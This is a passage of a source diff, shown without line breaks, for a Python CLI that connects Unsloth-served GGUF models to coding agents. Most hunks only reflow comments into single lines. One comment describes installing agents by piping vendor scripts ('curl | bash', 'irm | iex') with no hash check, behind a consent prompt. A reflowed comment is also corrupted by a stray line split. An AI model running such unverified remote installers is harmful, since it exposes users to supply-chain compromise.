survivor claim.if announced_switch and _model_still_loaded(base, key, active_id):typer.echo(f"Nothing was unloaded; {active_id} is still serving.", err = True)raise@@ -2250,12 +1995,7 @@ def _resolve_model(# Show the public id on the inferred path; `requested` may be a server path.shown = attach_public_id or requestedtyper.echo(f"Reusing loaded model: {_display_model_spec(shown, load.gguf_variant)}")- # Unsloth registers the model under a canonical id (resolved identifier,- # casing) that /v1/models echoes but which may differ from the path we- # passed; match on the id the load reports so we don't silently fall- # through to models[0] and connect to a different loaded model.- # attach_public_id: our _public_model_id only strips a basename, while the- # server also maps an HF cache path to its repo id, so the two can disagree.+ # Unsloth registers the model under a canonical id (resolved identifier, casing) that /v1/models echoes but which may differ from the path we passed; match on the id the load reports so we do not silently fall through to models[0] and connect to a different loaded model. attach_public_id: our _public_model_id only strips a basename, while the server also maps an HF cache path to its repo id, so the two can disagree.wanted = {requested, _public_model_id(requested), attach_public_id} - {None}if isinstance(loaded, dict):wanted |= {loaded.get("model"), loaded.get("display_name")} - {None}@@ -2276,8 +2016,7 @@ def _resolve_model(typer.echo(f"Reusing loaded model: {_display_model_spec(requested, load.gguf_variant)}")return matchif requested:- # We asked Unsloth to load it and it didn't surface in /v1/models; don't- # silently hand back an unrelated loaded model.+ # We asked Unsloth to load it and it did not surface in /v1/models; do not silently hand back an unrelated loaded model._fail(f"Unsloth didn't report '{requested}' as loaded. Double-check the model ""id, or load it from the model dropdown in the UI."@@ -2327,19 +2066,13 @@ def _hub_gguf_files(repo: str) -> Optional[list]:return [n for n in ggufs if not _is_auxiliary_gguf(n)]-# Mirrors hub.utils.gguf._DRAFTER_KINDS / _DRAFTER_DIR_KINDS: dspark and dflash are the same-# DeepSeek V4 Flash drafter, but dflash/ is also a real family name, so only mtp/ and dspark/-# count as a companion folder.+# Mirrors hub.utils.gguf._DRAFTER_KINDS / _DRAFTER_DIR_KINDS: dspark and dflash are the same DeepSeek V4 Flash drafter, but dflash/ is also a real family name, so only mtp/ and dspark/ count as a companion folder._DRAFTER_KINDS = ("mtp", "dspark", "dflash")_DRAFTER_DIR_KINDS = ("mtp", "dspark")def _is_auxiliary_gguf(filename: str) -> bool:- # Mirrors detect_gguf_model_remote (hub.utils.gguf.is_mtp_drafter_path): projectors,- # separate-file drafters and big-endian builds are not loadable weights. Drafters match- # by basename prefix or exact parent dir, never substring -- the kind names double as- # family names, so Qwen3.6-...-DFlash-Q4_K_M.gguf IS the model. Only the root-level- # trailing -be form is filtered; the fuller quant-aware check would over-reject here.+ # Mirrors detect_gguf_model_remote (hub.utils.gguf.is_mtp_drafter_path): projectors, separate-file drafters and big-endian builds are not loadable weights. Drafters match by basename prefix or exact parent dir, never substring, since the kind names double as family names and Qwen3.6-...-DFlash-Q4_K_M.gguf IS the model. Only the root-level trailing -be form is filtered; the fuller quant-aware check would over-reject here.p = filename.lower().replace("\\", "/")parts = [segment for segment in p.split("/") if segment]if not parts:@@ -2356,33 +2089,21 @@ def _is_auxiliary_gguf(filename: str) -> bool:def _direct_gguf_is_companion(path: str) -> bool:- """Whether the server refuses this .gguf path as a model in its own right.-- A strict subset of detect_gguf_model / gguf_variants._direct_gguf_loads: projector and- drafter prefixes read off the basename, companion-only folders off the immediate- parent -- the same context the server reads, so nothing loadable is refused here.- Big-endian is left out on purpose: that check needs quant context the CLI can't mirror.- """+ """Whether the server refuses this .gguf path as a model in its own right. A strict subset of detect_gguf_model / gguf_variants._direct_gguf_loads: projector and drafter prefixes read off the basename, companion-only folders off the immediate parent, the same context the server reads, so nothing loadable is refused here. Big-endian is left out on purpose: that check needs quant context the CLI cannot mirror."""parts = [segment for segment in path.replace("\\", "/").split("/") if segment]if not parts:return Falsename = parts[-1].lower()if not name.endswith(".gguf"):return False- # Root-independent refusals only: name prefixes read the basename alone, so they mean- # the same under any model root. A drafter FOLDER does not.+ # Root-independent refusals only: name prefixes read the basename alone, so they mean the same under any model root. A drafter FOLDER does not.if "mmproj" in name:return Truereturn any(name.startswith(f"{kind}-") for kind in _DRAFTER_KINDS)def _path_syntax_is_native(path: str) -> bool:- """Whether *path* is spelled the way this OS spells paths.-- A Windows path read from WSL, or a POSIX one read from Windows, parses into- something this process cannot judge -- ``C:\\models\\m.gguf`` has parent- ``.`` here -- so its absence locally says nothing about the server's disk.- """+ """Whether *path* is spelled the way this OS spells paths. A Windows path read from WSL, or a POSIX one read from Windows, parses into something this process cannot judge (``C:\\models\\m.gguf`` has parent ``.`` here), so its absence locally says nothing about the server's disk."""windows_drive = len(path) >= 2 and path[1] == ":" and path[0].isalpha()if os.name == "nt":return True@@ -2390,12 +2111,7 @@ def _path_syntax_is_native(path: str) -> bool:def _direct_gguf_companion_is_uncertain(path: str) -> bool:- """Whether only the server can say if this path is a companion.-- detect_gguf_model reads drafter folders relative to the registered model root, so- ``/models/MTP/foo-Q8_0.gguf`` is refused or loaded depending on where that root sits- -- a question only the server can answer, since this process doesn't know its roots.- """+ """Whether only the server can say if this path is a companion. detect_gguf_model reads drafter folders relative to the registered model root, so ``/models/MTP/foo-Q8_0.gguf`` is refused or loaded depending on where that root sits, a question only the server can answer since this process does not know its roots."""parts = [segment for segment in path.replace("\\", "/").split("/") if segment]return any(segment.lower() in _DRAFTER_DIR_KINDS for segment in parts[:-1])@@ -2416,14 +2132,7 @@ _QUANT_LABEL_RE = re.compile(def _direct_gguf_variant_labels(path: str) -> tuple:- """The labels the server's direct-file resolver accepts for *path*.-- Mirrors _direct_gguf_for_variant: the quant label read from the basename- first, the immediate parent only when the basename carries none, plus the- shard-stripped stem itself. The basename wins the disagreement -- a- Q8_0/foo-Q4_K_M.gguf answers Q4_K_M, so its parent must not vouch for- Q8_0 here while the load resolves nothing and evicts.- """+ """The labels the server's direct-file resolver accepts for *path*. Mirrors _direct_gguf_for_variant: the quant label read from the basename first, the immediate parent only when the basename carries none, plus the shard-stripped stem itself. The basename wins the disagreement: a Q8_0/foo-Q4_K_M.gguf answers Q4_K_M, so its parent must not vouch for Q8_0 here while the load resolves nothing and evicts."""norm = path.replace("\\", "/").rstrip("/")name = norm.rsplit("/", 1)[-1]stem = re.sub(r"-\d{3,}-of-\d{3,}$", "", name.rsplit(".", 1)[0])@@ -2449,11 +2158,7 @@ _BIG_ENDIAN_FILENAME_RE = re.compile(r"(^|[-_])be(?:[._-]|$)", re.IGNORECASE)def _direct_gguf_is_big_endian(path: str) -> bool:- """Mirrors hub.utils.gguf.is_big_endian_gguf_path over the same one-parent- context detect_gguf_model reads; change in lockstep. A quant-named parent- exempts a bare -be basename (that file loads); a be marker at or after a- basename quant does not.- """+ """Mirrors hub.utils.gguf.is_big_endian_gguf_path over the same one-parent context detect_gguf_model reads; change in lockstep. A quant-named parent exempts a bare -be basename (that file loads); a be marker at or after a basename quant does not."""norm = path.replace("\\", "/").rstrip("/")parts = [segment for segment in norm.split("/") if segment]name = parts[-1]@@ -2486,20 +2191,14 @@ def _direct_gguf_is_big_endian(path: str) -> bool:return False-# Mirrors gguf_variants._DIRECT_SPLIT_RE / the load path's _GGUF_SPLIT_FILE_RE; change in-# lockstep. Five digits exactly: a shorter -001-of-002 name loads as an ordinary file.+# Mirrors gguf_variants._DIRECT_SPLIT_RE / the load path's _GGUF_SPLIT_FILE_RE; change in lockstep. Five digits exactly: a shorter -001-of-002 name loads as an ordinary file._DIRECT_SPLIT_FILE_RE = re.compile(r"^(?P<stem>.+)-(?P<index>\d{5})-of-(?P<total>\d{5})$", re.IGNORECASE)def _direct_gguf_file_is_ready(path: str) -> bool:- """Whether a CLI-visible direct .gguf file can actually serve a load.-- Mirrors the backend's completeness rules: zero bytes is an interrupted copy, a split- needs every sibling index present and non-empty. Unknowable reports ready, so a path- this process can't judge never blocks the load.- """+ """Whether a CLI-visible direct .gguf file can actually serve a load. Mirrors the backend's completeness rules: zero bytes is an interrupted copy, and a split needs every sibling index present and non-empty. Unknowable reports ready, so a path this process cannot judge never blocks the load."""def _split_set_complete(candidate: Path) -> Optional[bool]:match = _DIRECT_SPLIT_FILE_RE.match(candidate.name.rsplit(".", 1)[0])@@ -2526,8 +2225,7 @@ def _direct_gguf_file_is_ready(path: str) -> bool:try:p = Path(os.path.expanduser(path))- # A broken symlink is visible here, and the .gguf suffix alone still makes it a- # load, which fails after teardown.+ # A broken symlink is visible here, and the .gguf suffix alone still makes it a load, which fails after teardown.if p.is_symlink() and not p.exists():return Falseif not p.is_file():@@ -2537,8 +2235,7 @@ def _direct_gguf_file_is_ready(path: str) -> bool:whole = _split_set_complete(p)if whole is not False:return True- # Mirror _local_gguf_load_path: an incomplete nominal set still loads when the shard- # is a symlink whose target sits with the full set.+ # Mirror _local_gguf_load_path: an incomplete nominal set still loads when the shard is a symlink whose target sits with the full set.if p.is_symlink():target = p.resolve()return _split_set_complete(target) is not False@@ -2552,15 +2249,7 @@ def _answer_offers_variant(variant: str,strict: bool = False,) -> bool:- """Whether a live variants answer can resolve *variant* to a file.-- Mirrors llama.cpp's resolution, case-insensitively: quant label first, then the- whole-token filename fallback (as loose as it gets -- a separator-differing label- resolves to nothing there either). A row missing both fields can't be disproven, so- it vouches. ``strict`` drops the filename-token tier: the LOCAL resolver takes only- exact labels, so a local answer must not vouch for a shorter token (Q4 inside- model-Q4_K_M.gguf) the load would never resolve.- """+ """Whether a live variants answer can resolve *variant* to a file. Mirrors llama.cpp's resolution, case-insensitively: quant label first, then the whole-token filename fallback, which is as loose as it gets since a separator-differing label resolves to nothing there either. A row missing both fields cannot be disproven, so it vouches. ``strict`` drops the filename-token tier: the LOCAL resolver takes only exact labels, so a local answer must not vouch for a shorter token (Q4 inside model-Q4_K_M.gguf) the load would never resolve."""wanted = str(variant).strip().lower()if not wanted:return True@@ -2829,7 +2518,6 @@ def _attach_gguf_check(# llama.cpp kills the resident model before resolving the quant, so a quant this# answer cannot serve is settled here. Local answers take exact labels only; the# looser filename-token tier is for hub answers.- ## "Local" means the server says so (resolved_locally) or, predating that field,# path syntax / bare names, which resolve locally anyway. owner/name.gguf is# exempted like the direct-file branch (_is_model_path sees only the suffix),@@ -2882,13 +2570,7 @@ def _attach_gguf_check(_fail_gguf_variant_missing(candidate, variant, variants)returnif isinstance(variants, list):- # Explicit local syntax resolves locally on every server version, so its live empty- # answer settles the load; deferring would let the same GGUF-less directory go down- # the transformers path and evict. Only marker-less names keep deferring: older- # servers read them as hub ids, and a local hit may be a server-side model from the- # server's cwd -- unless it reports resolved_locally, having already resolved them.- # A bare foo.gguf naming no local file is only the canonicalized spelling, so it- # settles nothing until the canonical form has answered too.+ # Explicit local syntax resolves locally on every server version, so its live empty answer settles the load; deferring would let the same GGUF-less directory go down the transformers path and evict. Only marker-less names keep deferring: older servers read them as hub ids, and a local hit may be a server-side model from the server's cwd, unless it reports resolved_locally. A bare foo.gguf naming no local file is only the canonicalized spelling, so it settles nothing until the canonical form has answered too.if bare_missing_gguf and candidate != candidates[-1]:continueif not _is_model_path(repo) and not info.get("resolved_locally"):@@ -2901,8 +2583,7 @@ def _attach_gguf_check(def _require_gguf_for_agent(agent: _GgufAgent, base: str, key: str, model_id: str) -> None:- # Only a definite "no" rejects: the callers wrap this in `except BaseException:- # _shutdown_auto_served()`, so guessing kills a server that may have just loaded a GGUF.+ # Only a definite "no" rejects: the callers wrap this in `except BaseException: _shutdown_auto_served()`, so guessing kills a server that may have just loaded a GGUF.try:status = _http_json("GET", f"{base}/api/inference/status", key)except urllib.error.HTTPError:@@ -2914,12 +2595,10 @@ def _require_gguf_for_agent(agent: _GgufAgent, base: str, key: str, model_id: stif not isinstance(status, dict):returnis_gguf = status.get("is_gguf")- # InferenceStatusResponse declares is_gguf non-optional under a response_model, so a- # current server always sends it. Absent means "not that endpoint", never "non-GGUF".+ # InferenceStatusResponse declares is_gguf non-optional under a response_model, so a current server always sends it. Absent means "not that endpoint", never "non-GGUF".if is_gguf is None or is_gguf:return- # is_gguf carries a False default, so an idle server answers False while naming no- # model. The request that follows gets the server's own "No GGUF model loaded" anyway.+ # is_gguf carries a False default, so an idle server answers False while naming no model. The request that follows gets the server's own "No GGUF model loaded" anyway.if not (status.get("active_model") or status.get("model_identifier")):return_fail_agent_needs_gguf(agent, model_id)@@ -2955,8 +2634,7 @@ def _write_claude_settings(path: Path, model_id: str, local_env: dict) -> Path:def _claude_version() -> Optional[tuple]:- # None = no local `claude` (a --no-launch printout for another machine; assume a- # current build). An unparseable version is treated as too old for the new flags.+ # None means no local `claude` (a --no-launch printout for another machine; assume a current build). An unparseable version is treated as too old for the new flags.executable = _which_with_install_dirs("claude")if executable is None:return None@@ -2970,10 +2648,7 @@ def _claude_version() -> Optional[tuple]:timeout = 10,env = _probe_env(),)- # Pull the X.Y.Z out of the output rather than assuming it is the first token.- # claude prints it first today ("2.1.98 (Claude Code)"), but a format change- # (e.g. "claude version 2.1.98") shouldn't silently drop the optimization flags;- # no match falls through to "too old", same as an unparseable version.+ # Pull the X.Y.Z out of the output rather than assuming it is the first token: claude prints it first today ("2.1.98 (Claude Code)"), but a format change should not silently drop the optimization flags. No match falls through to "too old", same as an unparseable version.match = re.search(r"(\d+)\.(\d+)\.(\d+)", result.stdout)return tuple(int(part) for part in match.groups()) if match else (0,)except Exception:@@ -2981,10 +2656,7 @@ def _claude_version() -> Optional[tuple]:def _claude_flags(model_id: str, settings: Optional[str] = None) -> list:- # KV-cache-preserving flags: move per-session context out of the system prompt and pass- # the session overlay. claude < 2.1.98 rejects the dynamic-sections flag but already- # supports --settings; no local binary means a printout for another machine, so assume- # a current build.+ # KV-cache-preserving flags: move per-session context out of the system prompt and pass the session overlay. claude < 2.1.98 rejects the dynamic-sections flag but already supports --settings; no local binary means a printout for another machine, so assume a current build.version = _claude_version()settings_flags = ["--settings", settings or _claude_settings_overlay(model_id)]if version is not None and version < (2, 1, 98):@@ -3039,8 +2711,7 @@ def _claude_local_env(base: str, key: str, entry: dict) -> dict:}window = entry.get("context_length") or entry.get("max_context_length")if window:- # claude assumes 200k for a model id it does not recognize, and clamps- # AUTO_COMPACT_WINDOW to [100k, that]. MAX_CONTEXT_TOKENS sets the window itself.+ # claude assumes 200k for a model id it does not recognize, and clamps AUTO_COMPACT_WINDOW to [100k, that]. MAX_CONTEXT_TOKENS sets the window itself.env["CLAUDE_CODE_MAX_CONTEXT_TOKENS"] = str(int(window))env["CLAUDE_CODE_AUTO_COMPACT_WINDOW"] = str(int(window))env["CLAUDE_AUTOCOMPACT_PCT_OVERRIDE"] = "90"@@ -3071,8 +2742,7 @@ def _merge_codex_config(existing: str, base: str) -> str:)-# Keep custom-model behavior aligned with Codex's own unknown-model fallback. This-# Apache-2.0 prompt is copied from openai/codex rust-v0.144.0 models-manager/prompt.md.+# Keep custom-model behavior aligned with Codex's own unknown-model fallback. This Apache-2.0 prompt is copied from openai/codex rust-v0.144.0 models-manager/prompt.md._CODEX_FALLBACK_PROMPT = Path(__file__).parent.parent / "codex_fallback_prompt.md"_CODEX_MODEL_CATALOG_MIN_VERSION = (0, 110, 0)_CODEX_PATCH_LINE_ENDINGS_MIN_VERSION = (0, 148, 0)@@ -3154,8 +2824,7 @@ def write_codex_config(base: str, model: dict, home: Path) -> None:config.write_text(merged, encoding = "utf-8")typer.echo(f"Updated {config}")- # oss_provider here too: codex --oss picks the provider from it, and the- # profile layer must beat a user-set value (e.g. "ollama") in config.toml.+ # oss_provider here too: codex --oss picks the provider from it, and the profile layer must beat a user-set value ("ollama") in config.toml.profile_text = (f'oss_provider = "{_CODEX_PROFILE}"\n'f'model_provider = "{_CODEX_PROFILE}"\n'@@ -3172,8 +2841,7 @@ def write_codex_config(base: str, model: dict, home: Path) -> None:if not catalog.exists() or catalog.read_text(encoding = "utf-8") != catalog_text:catalog.write_text(catalog_text, encoding = "utf-8")typer.echo(f"Updated {catalog}")- # Resolve relative to the profile file. This also survives WSL launching a Windows- # Codex binary, where a Linux absolute path inside TOML would not be usable.+ # Resolve relative to the profile file. This also survives WSL launching a Windows Codex binary, where a Linux absolute path inside TOML would not be usable.profile_text += f"model_catalog_json = {json.dumps(catalog.name)}\n"window = model.get("context_length") or model.get("max_context_length")@@ -3329,15 +2997,11 @@ def write_codex_parent_overlay(overlay: Path) -> Path:if isinstance(name, str) and name not in {"", ".", ".."} and Path(name).name == name:_remove_overlay_entry(overlay / name)else:- # A reused overlay must never mix credentials, config, or plugins from two- # different Codex homes. Legacy overlays have no manifest, so rebuild them once.+ # A reused overlay must never mix credentials, config, or plugins from two different Codex homes. Legacy overlays have no manifest, so rebuild them once.for target in list(overlay.iterdir()):_remove_overlay_entry(target)- # Keep the user's auth, config, plugins, agents, skills, rules, and session state visible.- # Symlinks make this an overlay rather than a stale copy. If Windows denies them,- # use directory junctions so large runtime state remains shared without a bulk copy.- # Copy the configuration surfaces and sessions only if both link forms are unavailable.+ # Keep the user's auth, config, plugins, agents, skills, rules and session state visible. Symlinks make this an overlay rather than a stale copy; if Windows denies them, directory junctions keep large runtime state shared without a bulk copy, and the configuration surfaces and sessions are copied only when both link forms are unavailable.fallback_dirs = {"agents", "skills", "rules", "plugins", "marketplaces", "sessions"}entries = []if source_home.is_dir():@@ -3434,9 +3098,7 @@ def _opencode_subagent_inline_config(provider for provider in disabled if provider != _OPENCODE_PROVIDER]- # Keep an inherited inline allowlist usable by the local provider. V2 turns these- # filters into policies where global/project rules still intentionally outrank this- # content; the message at launch makes that boundary explicit.+ # Keep an inherited inline allowlist usable by the local provider. V2 turns these filters into policies where global/project rules still intentionally outrank this content; the message at launch makes that boundary explicit.merge_provider_filters(inline)effective = inline@@ -3578,10 +3240,7 @@ def write_claude_subagent_plugin(path: Path, server_env: dict) -> Path:}},)- # Claude already refuses the editing tool in plan mode, since it advertises- # readOnlyHint false. This PreToolUse hook replaces that dead end with a reason- # naming the read-only tool to call instead. Skipped under the WSL bridge, where- # the gate is a Linux path but the hook would run beside the Windows claude.+ # Claude already refuses the editing tool in plan mode, since it advertises readOnlyHint false. This PreToolUse hook replaces that dead end with a reason naming the read-only tool to call instead. Skipped under the WSL bridge, where the gate is a Linux path but the hook would run beside the Windows claude.gate = plugin / "hooks" / "plan_gate.py"if command == "wsl.exe":# A persisted plugin dir may still hold a gate from an earlier non-WSL run.@@ -3599,23 +3258,13 @@ def write_claude_subagent_plugin(path: Path, server_env: dict) -> Path:"hooks": [{"type": "command",- # Run through runpy rather than handing the path to- # the interpreter: a missing gate is then an- # ordinary traceback (exit 1, fails open) instead- # of exit 2, which Claude treats as a blocking- # error and would deny the tool in every mode.- # The path is base64'd because this string goes- # through a shell: a temp root holding $(..) or a- # backtick expands under sh, %VAR% under cmd, and- # the gate then silently fails open. base64's- # alphabet has no metacharacter in either.+ # Run through runpy rather than handing the path to the interpreter: a missing gate is then an ordinary traceback (exit 1, fails open) instead of exit 2, which Claude treats as a blocking error and would deny the tool in every mode. The path is base64'd because this string goes through a shell: a temp root holding $(..) or a backtick expands under sh, %VAR% under cmd, and the gate then silently fails open. base64's alphabet has no metacharacter in either."command": (f'"{sys.executable}" -c 'f'"import base64,runpy; runpy.run_path('f"base64.b64decode('{_b64_path(gate)}').decode())\""),- # A hook with no timeout stalls the parent for as- # long as it hangs; measured unbounded past 400s.+ # A hook with no timeout stalls the parent for as long as it hangs; measured unbounded past 400s."timeout": 10,}],@@ -3691,27 +3340,19 @@ def _wsl_windows_path(path: Path) -> str:def _looks_like_path(value: str) -> bool:- # A var only wants the WSLENV /p flag if its value is a filesystem path: an- # absolute POSIX path (/...), a UNC path (\\...), or a drive-qualified Windows- # path (C:...). Scalar knobs (e.g. a numeric context window) must pass through- # untranslated, so they get no flag.+ # A var only wants the WSLENV /p flag if its value is a filesystem path: an absolute POSIX path (/...), a UNC path (\\\\...), or a drive-qualified Windows path (C:...). Scalar knobs such as a numeric context window must pass through untranslated, so they get no flag.return bool(value) and (value.startswith(("/", "\\")) or (len(value) >= 2 and value[1] == ":"))def _wsl_bridge_names(env: dict, unset_env: tuple) -> tuple:- # Build the WSLENV share list for a Windows shim reached from WSL. Path-valued- # vars get /p so WSLENV translates them to the Windows path the /mnt shim can- # actually open; a cleared var carries no value to translate.+ # Build the WSLENV share list for a Windows shim reached from WSL. Path-valued vars get /p so WSLENV translates them to the Windows path the /mnt shim can actually open; a cleared var carries no value to translate.names = [name + ("/p" if _looks_like_path(value) else "") for name, value in env.items()]names.extend(unset_env)return tuple(dict.fromkeys(names))def _merge_wslenv(current: str, names: tuple) -> str:- # Index WSLENV entries by bare var name, preserving first-seen order. The vars we- # bridge are applied last so our entry wins: a user's pre-existing unflagged "HOME"- # is upgraded to "HOME/p" (rather than left as-is), since WSLENV ignores a duplicate- # name and a bare entry would leave the path untranslated for a Windows shim.+ # Index WSLENV entries by bare var name, preserving first-seen order. The vars we bridge are applied last so our entry wins: a user's pre-existing unflagged "HOME" is upgraded to "HOME/p" rather than left as-is, since WSLENV ignores a duplicate name and a bare entry would leave the path untranslated for a Windows shim.ordered = []by_name = {}for entry in (*current.split(":"), *names):@@ -3725,9 +3366,7 @@ def _merge_wslenv(current: str, names: tuple) -> str:def _powershell_quote(arg: str) -> str:- # PowerShell reads single-quoted strings literally (an embedded ' is doubled), so- # JSON args such as `--settings {"env":...}` survive intact. list2cmdline's- # backslash-escaped double quotes are cmd.exe syntax and PowerShell mis-parses them.+ # PowerShell reads single-quoted strings literally (an embedded ' is doubled), so JSON args such as `--settings {"env":...}` survive intact. list2cmdline's backslash-escaped double quotes are cmd.exe syntax and PowerShell mis-parses them.if arg and re.fullmatch(r"[A-Za-z0-9_./:=+-]+", arg):return argreturn "'" + arg.replace("'", "''") + "'"@@ -3761,12 +3400,7 @@ def _print_env(typer.echo(f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}")- # The final line is a SELF-CONTAINED one-liner (inline env, VAR=... cmd) rather than a- # bare command. People copy just the last line, and a bare `codex`/`claude` would then- # run against their real ~/.codex or Anthropic credentials with zero isolation -- e.g.- # inheriting a pre-existing damaged ~/.codex state DB and blaming the recipe. Inline- # assignments scope every var (and empty-string the conflicting ones) to this single- # invocation, so a partial copy behaves the same as pasting the whole block.+ # The final line is a SELF-CONTAINED one-liner (inline env, VAR=... cmd) rather than a bare command. People copy just the last line, and a bare `codex`/`claude` would then run against their real ~/.codex or Anthropic credentials with zero isolation, for example inheriting a pre-existing damaged ~/.codex state DB and blaming the recipe. Inline assignments scope every var, and empty-string the conflicting ones, to this single invocation, so a partial copy behaves the same as pasting the whole block.inline = [f"{name}=" for name in unset_env]inline += [f"{name}={shlex.quote(value)}" for name, value in env.items()]inline += [f'{name}="$PWD"' for name in cwd_env]@@ -3778,8 +3412,7 @@ def _print_env(def _refresh_windows_path() -> None:- # Merge Windows registry PATH hives after the current process PATH so a- # freshly installed agent is visible without changing existing precedence.+ # Merge Windows registry PATH hives after the current process PATH so a freshly installed agent is visible without changing existing precedence.if os.name != "nt":returntry:@@ -3851,10 +3484,7 @@ def _managed_node_tools() -> Optional[tuple[Path, Path, bool]]:def _augment_path_with_install_dirs() -> None:- # Add known install dirs to PATH so a freshly installed agent resolves without a new shell.- # User dirs are appended (existing tools keep precedence); a preferred managed Node is- # prepended so Node-backed shims use it. Only user dirs need a home, so a missing home must- # not drop the managed Node, or a shim fails on `env node` under a bare container UID.+ # Add known install dirs to PATH so a freshly installed agent resolves without a new shell. User dirs are appended (existing tools keep precedence); a preferred managed Node is prepended so Node-backed shims use it. Only user dirs need a home, so a missing home must not drop the managed Node, or a shim fails on `env node` under a bare container UID.try:home = Path.home()except (RuntimeError, OSError):@@ -3869,10 +3499,7 @@ def _augment_path_with_install_dirs() -> None:candidates.append(managed_node[0].parent)current = os.environ.get("PATH")if current is None:- # PATH unset: shutil.which() and exec*p* fall back to os.defpath (e.g. /bin:/usr/bin), so- # keep that default instead of collapsing to just the install dirs (which would hide a- # system-installed agent and strip the launched child's normal PATH). An explicitly empty- # PATH is left as-is: like shutil.which, it means "search nothing", not os.defpath.+ # PATH unset: shutil.which() and exec*p* fall back to os.defpath (/bin:/usr/bin), so keep that default instead of collapsing to just the install dirs, which would hide a system-installed agent and strip the launched child's normal PATH. An explicitly empty PATH is left as-is: like shutil.which, it means "search nothing", not os.defpath.current = os.defpathpreferred_node = (str(managed_node[0].parent) if managed_node is not None and managed_node[2] else None@@ -3896,11 +3523,7 @@ def _augment_path_with_install_dirs() -> None:def _probe_env(**extra: str) -> dict:- """Environment for probes that RUN a resolved shim.-- _which_with_install_dirs restores PATH before returning, so a shim backed by Unsloth's- managed Node would not find that node when executed.- """+ """Environment for probes that RUN a resolved shim. _which_with_install_dirs restores PATH before returning, so a shim backed by Unsloth's managed Node would not find that node when executed."""original = os.environ.get("PATH")_augment_path_with_install_dirs()env = os.environ.copy()@@ -3913,16 +3536,7 @@ def _probe_env(**extra: str) -> dict:def _prefer_windows_cmd_sibling(executable: Optional[str]) -> Optional[str]:- """Prefer the sibling .cmd when Windows resolved an extensionless npm/pnpm shim.-- cmd-shim writes ``to``, ``to.cmd`` and ``to.ps1``, and shutil.which can return- the extensionless POSIX shim, which CreateProcess rejects with WinError 193.- Measured on windows-latest: 3.12.0 probes the bare name before PATHEXT- (gh-109590), and 3.12.1 onwards do not. A PATHEXT holding "." reaches the same- place on any version. Substituted only when the file opens with a shebang, so a- real PE keeps priority over a stale wrapper beside it; matched on- not-a-Windows-suffix so a dotted bin name is caught too.- """+ """Prefer the sibling .cmd when Windows resolved an extensionless npm/pnpm shim. cmd-shim writes ``to``, ``to.cmd`` and ``to.ps1``, and shutil.which can return the extensionless POSIX shim, which CreateProcess rejects with WinError 193. Measured on windows-latest: 3.12.0 probes the bare name before PATHEXT (gh-109590) and 3.12.1 onwards do not, and a PATHEXT holding "." reaches the same place on any version. Substituted only when the file opens with a shebang, so a real PE keeps priority over a stale wrapper beside it; matched on not-a-Windows-suffix so a dotted bin name is caught too."""if executable is None or os.name != "nt":return executableif Path(executable).suffix.lower() in {".exe", ".com", ".cmd", ".bat", ".ps1"}:@@ -3939,16 +3553,12 @@ def _prefer_windows_cmd_sibling(executable: Optional[str]) -> Optional[str]:def _which_with_install_dirs(name: str) -> Optional[str]:- # shutil.which(name), but searching the known agent install dirs too, so a version probe- # resolves the same binary _launch() will (it augments PATH before it runs). Without this an- # agent present only in ~/.local/bin / %APPDATA%\npm is missed, wrongly assumed current, and- # launched with flags an older build rejects. PATH is restored afterward: only _launch()- # should persist the augmentation for the child process.+ # shutil.which(name), but searching the known agent install dirs too, so a version probe resolves the same binary _launch() will (it augments PATH before it runs). Without this an agent present only in ~/.local/bin / %APPDATA%+ # pm is missed, wrongly assumed current, and launched with flags an older build rejects. PATH is restored afterward: only _launch() should persist the augmentation for the child process.original = os.environ.get("PATH")_augment_path_with_install_dirs()try:- # Callers spawn this result directly, so the shim rescue is needed here- # too, not only in _resolved_launch_command.+ # Callers spawn this result directly, so the shim rescue is needed here too, not only in _resolved_launch_command.return _prefer_windows_cmd_sibling(shutil.which(name))finally:if original is None:@@ -4031,8 +3641,7 @@ def _install_command(install_hint: str) -> tuple[list[str], Optional[dict]]:)args = shlex.split(install_hint)env = dict(os.environ)- # dirname, not Path().parent: Path picks its flavour from os.name, which the tests- # override. Empty means npm is a bare name; prepending "" would put the cwd on PATH.+ # dirname, not Path().parent: Path picks its flavour from os.name, which the tests override. Empty means npm is a bare name; prepending "" would put the cwd on PATH.npm_dir = os.path.dirname(npm)current_path = env.get("PATH", "")if npm_dir:@@ -4054,17 +3663,11 @@ def _install_command(install_hint: str) -> tuple[list[str], Optional[dict]]:def _install_agent(name: str, install_hint: str) -> Optional[str]:- # Missing agent under --launch: offer to run its documented install command, then- # re-resolve it on PATH. Consent-based (we never auto-run a remote install script- # silently), and a non-interactive stdin cannot answer the prompt, so both the- # no-TTY and declined cases return None and let the caller print the hint and exit.+ # Missing agent under --launch: offer to run its documented install command, then re-resolve it on PATH. Consent-based, and a non-interactive stdin cannot answer the prompt, so both the no-TTY and declined cases return None and let the caller print the hint and exit.if not sys.stdin.isatty():return Nonetyper.echo(f"`{name}` is not installed.")- # Make the supply-chain risk explicit before the prompt: these are the vendors'- # own installers (curl | bash, irm | iex, npm), run with the user's privileges,- # and nothing checks a signature or hash on the fetched content. Naming the source- # turns a blind "yes" into informed consent.+ # Make the supply-chain risk explicit before the prompt: these are the vendors' own installers (curl | bash, irm | iex, npm), run with the user's privileges, and nothing checks a signature or hash on the fetched content. Naming the source turns a blind "yes" into informed consent.source = _install_source(install_hint)if source:pinned_commit = _pinned_raw_github_commit(source)@@ -4107,8 +3710,7 @@ def _install_agent(name: str, install_hint: str) -> Optional[str]:" Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned")_fail(message)- # Resolve the freshly installed agent without a shell restart: pull registry PATH- # (Windows) plus well-known install dirs the installer may not have added to PATH.+ # Resolve the freshly installed agent without a shell restart: pull registry PATH (Windows) plus well-known install dirs the installer may not have added to PATH._refresh_windows_path()_augment_path_with_install_dirs()executable = shutil.which(name)@@ -4166,10 +3768,7 @@ def _wsl_shim_env(wsl_env_bridge = _wsl_bridge_names(env, unset_env)if not wsl_env_bridge and not cwd_env:return env, ()- # Bridge PWD via WSLENV (PWD/p) so the Windows shim finds its project root from the- # live cwd, not a stale inherited Linux PWD. Don't freeze env["PWD"]: a --no-launch- # recipe must translate the live PWD when run, not when generated; _launch overrides it.- # cwd_env values likewise resolve at execution time and are always filesystem paths.+ # Bridge PWD via WSLENV (PWD/p) so the Windows shim finds its project root from the live cwd, not a stale inherited Linux PWD. Do not freeze env["PWD"]: a --no-launch recipe must translate the live PWD when run, not when generated; _launch overrides it. cwd_env values likewise resolve at execution time and are always filesystem paths.return env, tuple(dict.fromkeys((*wsl_env_bridge, 